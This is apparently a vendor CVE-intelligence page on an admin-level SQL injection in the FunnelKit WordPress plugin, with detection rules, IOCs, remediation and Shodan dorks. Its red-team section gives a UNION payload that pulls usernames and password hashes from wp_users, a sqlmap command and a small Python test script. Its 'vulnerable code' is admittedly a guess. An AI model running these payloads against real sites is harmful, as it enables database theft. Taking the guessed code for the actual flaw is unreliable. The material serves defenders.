☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Funnelkit logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-2203

CVE-2025-2203 SQL Injection in Funnelkit
📅 PUBLISHED: 2025-05-15 20:07 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-2203 is a SQL Injection vulnerability discovered in the FunnelKit WordPress plugin, affecting versions prior to 3.10.2. This flaw allows authenticated administrators to inject arbitrary SQL commands via an unsanitized and unescaped parameter. While the CVSS score is listed as 0.0 (likely due to incomplete scoring), the impact is severe: an attacker with admin privileges can read, modify, or delete database contents, potentially leading to full site compromise. The vulnerability resides in the WordPress ecosystem and is not related to Apache or Nginx.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from wordpress.org. No third-party package managers (NPM, PyPI, Go, Ruby) are involved.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, which is likely a placeholder or error. Based on the nature of the vulnerability (SQL injection with admin privileges), a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N) – the attack is performed over the network.
  • Attack Complexity (AC): Low (L) – no special conditions required.
  • Privileges Required (PR): High (H) – admin privileges are needed.
  • User Interaction (UI): None (N) – no user action required.
  • Scope (S): Unchanged (U) – the vulnerable component is the database.
  • Confidentiality (C): High (H) – full database read access.
  • Integrity (I): High (H) – full database write access.
  • Availability (A): High (H) – potential for denial of service via destructive queries.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 7.2 (High)

Threat Level: High. Although admin privileges are required, a compromised admin account or a malicious insider can leverage this to exfiltrate sensitive data, modify site content, or execute further attacks.

Deep Dive & Mechanics

The FunnelKit plugin (formerly WooFunnels) is a marketing automation toolkit for WooCommerce. The vulnerability exists in a parameter that is passed directly into a SQL query without proper sanitization or escaping. Specifically, the plugin fails to use $wpdb->prepare() or similar safe query methods, allowing an admin to inject SQL commands.

Root Cause:
The vulnerable code likely uses a direct $wpdb->query() or $wpdb->get_results() with concatenated user input. For example:

$id = $_GET['id'];
$results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}posts WHERE ID = $id" );

This allows an attacker to append SQL statements like UNION SELECT ... or ; DROP TABLE ....

Attack Flow:

  1. An authenticated admin navigates to a vulnerable endpoint (e.g., /wp-admin/admin.php?page=funnelkit&id=1).
  2. The attacker modifies the id parameter to include SQL injection payloads.
  3. The plugin executes the malicious query, returning or modifying database contents.

Vulnerable vs. Patched Code

Vulnerable Code (before 3.10.2):

// Vulnerable: direct concatenation
$id = $_GET['id'];
$results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}posts WHERE ID = $id" );

Patched Code (3.10.2 and later):

// Patched: using $wpdb->prepare()
$id = intval( $_GET['id'] );
$results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}posts WHERE ID = %d", $id ) );

The patch ensures that the input is cast to an integer and then safely passed via $wpdb->prepare(), preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress site with FunnelKit < 3.10.2.
  • Admin credentials (or ability to escalate to admin).

Exploitation Steps:

  1. Identify the vulnerable endpoint:
    Look for admin pages that accept numeric parameters, e.g., /wp-admin/admin.php?page=funnelkit-funnels&id=1.

  2. Test for SQL injection:
    Append a single quote (') to the parameter value. If an error is returned, the parameter is vulnerable.

  3. Extract data using UNION-based injection:
    Example payload:
    id=1 UNION SELECT user_login,user_pass,user_email FROM wp_users--

  4. Automate with SQLMap:

    sqlmap -u "http://target.com/wp-admin/admin.php?page=funnelkit-funnels&id=1" --cookie="wordpress_*" --batch --dbs
    

Proof-of-Concept (PoC) Code:

import requests

url = "http://target.com/wp-admin/admin.php?page=funnelkit-funnels"
cookies = {"wordpress_logged_in": "admin_cookie_value"}

# Test for injection
payload = {"id": "1' OR '1'='1"}
r = requests.get(url, params=payload, cookies=cookies)
if "error" in r.text.lower():
    print("Vulnerable to SQL injection")

Blue Team (Defensive)

Detection Steps:

  1. Monitor admin activity logs for unusual SQL queries or error messages.
  2. Check for known SQL injection patterns in HTTP requests to admin pages.
  3. Use a Web Application Firewall (WAF) to block malicious SQL keywords (e.g., UNION, SELECT, DROP).

Honeypot Setup:

  • Deploy a fake admin page that logs all parameter values and alerts on suspicious input.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /wp-admin/admin.php with parameters containing SQL keywords (e.g., UNION, SELECT, --).
    • Unusual database error messages in HTTP responses.
  • Host IOCs:

    • Unexpected entries in the WordPress wp_options table (e.g., new admin users).
    • Modified or deleted posts/pages.
    • Presence of webshells in the uploads directory.
  • Log IOCs:

    • Apache/Nginx access logs showing SQL injection patterns.
    • MySQL query logs with suspicious UNION or DROP statements.

Detection Engineering

YARA Rule

rule CVE_2025_2203_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting FunnelKit plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-2203"
    strings:
        $sqli1 = /id=[0-9]*'/
        $sqli2 = /UNION\s+SELECT/i
        $sqli3 = /--\s*$/
        $sqli4 = /OR\s+['"][0-9a-zA-Z]+['"]\s*=\s*['"][0-9a-zA-Z]+['"]/i
    condition:
        any of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: FunnelKit SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against FunnelKit plugin admin pages
author: Valters IT
date: 2025-04-01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-2203
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "id="
            - "page=funnelkit"
        cs-uri-query|re:
            - "'.*OR.*'"
            - "UNION.*SELECT"
            - "--"
    condition: selection
falsepositives:
    - Legitimate admin actions with special characters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2203 FunnelKit SQL Injection Attempt"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; pcre:"/(id=.*'|UNION\s+SELECT|--)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update the plugin to version 3.10.2 or later via WordPress admin dashboard.
  2. Verify no malicious activity by checking for unexpected admin users or database changes.
  3. Review server logs for any SQL injection attempts.

Long-term Mitigations:

  • Implement a Web Application Firewall (WAF) with SQL injection rules.
  • Enforce least privilege for admin accounts.
  • Regularly audit plugin code for security vulnerabilities.
  • Use a security plugin (e.g., Wordfence) to monitor and block malicious requests.

Patch Details:
Upgrade to FunnelKit version 3.10.2, which includes proper input sanitization using $wpdb->prepare().


Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"FunnelKit"
http.html:"wp-content/plugins/funnelkit"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-2203/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.